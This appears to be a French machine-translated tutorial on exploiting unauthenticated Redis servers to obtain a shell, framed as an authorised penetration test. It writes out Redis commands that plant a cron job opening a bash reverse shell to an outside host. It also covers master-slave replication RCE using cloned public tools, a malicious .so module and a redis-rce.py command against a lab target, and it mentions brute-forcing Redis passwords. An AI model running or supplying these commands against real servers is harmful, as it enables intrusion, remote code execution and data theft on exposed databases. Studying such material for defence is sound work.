Maison >base de données >Redis >Exemple d'analyse de Redis+Getshell
Normalement, lors de tests d'intrusion d'autorisation, l'analyse des ports peut toujours apporter des résultats inattendus même si des attaques de vulnérabilité traditionnelles (telles que l'injection, le téléchargement de fichiers, etc.) sont tentées mais aucune information ne peut être obtenue.
En termes simples, redis est une base de données de type clé-valeur. Toutes les données de Redis sont exploitées en mémoire et peuvent stocker les données. données en mémoire sur le disque régulièrement. Et prend en charge la sauvegarde d'une variété de structures de données (chaîne, hachage, liste, etc.).
Redis sera lié à 0.0.0.0:6379 par défaut. Si l'accès IP n'est pas restreint, il exposera le service Redis à. le réseau public sans configurer l'authentification par mot de passe amènera tout utilisateur à accéder à Redis sans autorisation, à lire les données Redis et à écrire la clé publique pour la connexion à distance.
Nous ne serons pas satisfaits lorsque nous obtiendrons les autorisations de la base de données. Notre objectif est uniquement d'obtenir Shell !
Il existe actuellement deux autres méthodes courantes, la première consiste à planifier régulièrement un shell de rebond et la seconde consiste à utiliser la réplication maître-esclave rce.
1) set x "n* * * * * bash -i >& /dev/tcp/1.1.1.1/888 0>&1n"
2) config set dir /var/spool/cron/
3) config set dbfilename root
4) save
existe dans les versions 4.x et 5.x, fournies par Redis Le mode maître-esclave fait référence à l'utilisation d'un redis comme hôte et de l'autre comme machine de sauvegarde. Les données de l'hôte et de l'esclave sont les mêmes. L'esclave est uniquement responsable de la lecture et l'hôte est uniquement responsable de l'écriture. Après Reids 4.x, grâce à une extension externe, il est possible d'implémenter une nouvelle commande Redis dans Redis et de construire un fichier .so malveillant. Lorsque deux instances Redis sont définies en mode maître-esclave, l'instance hôte Redis peut synchroniser les fichiers avec la machine esclave via FULLRESYNC. Chargez ensuite le fichier so malveillant sur la machine esclave pour exécuter la commande.
Vous devez utiliser un outil, téléchargez-le simplement depuis GitHub.
1) git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand (nécessite make)
2) git clone https://github.com/Ridter/redis-rce.git
et puis pass Si vous disposez d'un accès non autorisé ou d'un mot de passe faible pour vous connecter à Redis, vous pouvez obtenir le shell en exécutant le script.
Cette fois, j'ai scanné 6379, qui est Redis. Parfois, le port par défaut peut être modifié. Cette fois, il est recommandé d'utiliser le port entier. copie maître-esclave rce pour obtenir le shell (en raison de cette vulnérabilité a été soumise à src et un accord de confidentialité a été signé, la machine cible est donc construite pour restaurer l'environnement réel et garantir l'authenticité. )
IP de l'attaquant : 192.168.109.134
IP du serveur : 192.168.109.136
Accès non autorisé à la connexion redis (si vous avez un mot de passe, vous pouvez essayer de faire exploser le système de connexion authpassword) : Redis-cli –h ip
Utilisez le maître. -slave copie rce pour obtenir le shell
Tout d'abord, générez un fichier .so malveillant, téléchargez RedisModules-ExecuteCommand et utilisez make pour le compiler. Peut être généré.
Exécution côté attaque :
python redis-rce.py -r target ip -p target port -L local ip -f malware.so
obtenir avec succès le shell
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!